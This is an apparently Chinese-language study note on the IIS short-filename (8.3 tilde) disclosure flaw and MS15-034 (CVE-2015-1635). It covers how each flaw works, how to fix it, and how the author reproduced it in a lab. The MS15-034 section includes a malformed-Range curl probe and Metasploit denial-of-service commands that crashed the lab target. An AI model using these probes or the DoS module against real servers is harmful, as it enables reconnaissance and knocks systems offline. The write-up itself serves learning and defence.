IIS短文件名泄露漏洞及MS15-034利用
本文仅作学习记录,如有侵权,请联系删除!
漏洞描述:
IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
影响范围:
IIS 5.0-10.0全系列版本
漏洞危害:
利用“~”字符猜解暴露短文件/文件夹名 (主要危害)
在cmd下进入IIS网站根目录C:\inetpub\wwwroot输入“dir /x”即可看到短文件名的效果:
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,经千里目实验室验证,IIS 8.0、IIS 8.5和IIS 10.0的短文件名称均可以通过OPTIONS和TRACE方法被猜测成功
IIS短文件名有以下几个特征:
1.只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同);
2.后缀名最长只有3位,多余的被截断,超过3位的长文件会生成短文件名;
3.所有小写字母均转换成大写字母;
4.长文件名中含有多个“.”,以文件名最后一个“.”作为短文件名后缀;
5.长文件名前缀/文件夹名字符长度符合0-9和Aa-Zz范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件;
利用过程:
工具放到my-tools文件夹中,优先使用jar版本,打开cmd.bat即可
项目地址:https://github.com/lijiejie/IIS_shortname_Scanner
IIS短文件漏洞利用:
1、深入爆破猜测文件全名
a.通过对目标网站或同类型网站进行爬虫,爬出建立一个字典库,再与得到的短文件名来猜剩下的字符
b.利用fuzzdb(一个应用程序模糊测试(fuzzing)数据库)来猜解,跟字典库进行匹配
2、结合支持短文件特性软件(Apache、Wordpress)
Acunetix研究指出当Apache运行在windows下,如果创建了一个长文件,那么无需猜解长文件,直接用短文件就可以下载了。例如一个backup_20180101.sql的长文件,其短文件是BACKUP1.SQL,攻击者只需要提交BACKUP1.SQL就可以直接访问并下载该文件。
局限性:
1、 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
2、如果文件名本身太短(无短文件名)也是无法猜解的;
3、如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
4、如果文件夹名前6位字符带点“.”,扫描程序会认为是文件而不是文件夹,最终出现误报
5、不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测。
修复方案:
- 升级netFramework至4.0以上版本
- 关闭Web服务扩展- ASP.NET
- CMD关闭NTFS 8.3文件格式的支持(1代表关闭,0代表开启):
# Windows Server 2008 R2:
查询是否开启短文件名功能:fsutil 8dot3name query
关闭该功能:fsutil 8dot3name set 1
# Windows Server 2003:
关闭该功能:fsutil behavior set disable8dot3 1
不同系统关闭命令稍有区别,该功能默认是开启的,对于大多数用户来说无需开启。
- 修改注册表禁用短文件名功能,修改注册表键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
修改NtfsDisable8dot3NameCreation为1。1代表不创建短文件名格式,修改完成后,需要重启系统生效。
注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。如果不重新复制,已经存在的短文件名则是不会消失的
MS15-034/CVE-2015-1635 HTTP远程代码执行:
据微软公告(https://technet.microsoft.com/en-us/library/security/MS15-034)所称,当存在该漏洞的HTTP服务器接收到精心构造的HTTP请求时,可能触发远程代码在目标系统以系统权限执行。
影响范围:
任何安装了微软IIS 6.0以上的的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1
漏洞复现环境:
操作系统:windows 2012 r2
漏洞扫描:
直接利用nmap中相应的script:
nmap -Pn -p 80 --script http-vuln-cve2015-1635 192.168.107.148
利用curl命令进行确认:
curl http://192.168.107.148 -H "Host: 192.168.107.148" -H "Range: bytes=0-18446744073709551615"
如上请求包,若IIS服务器返回“Requested Range Not Satisfiable”,则是存在漏洞,否则如果返回”The request has an invalid header name“,则说明漏洞已经修补。
利用msf进行漏洞利用:
search ms15_034
use dos/http/ms15_034_ulonglongadd
set rhosts 192.168.107.148
set threads 100
攻击成功,目标服务器蓝屏:
防御方案:
1、用户安装微软官方修复补丁(3042553)即可
https://support.microsoft.com/zh-cn/kb/3042553
2、禁用IIS的内核缓存:可能导致IIS性能降低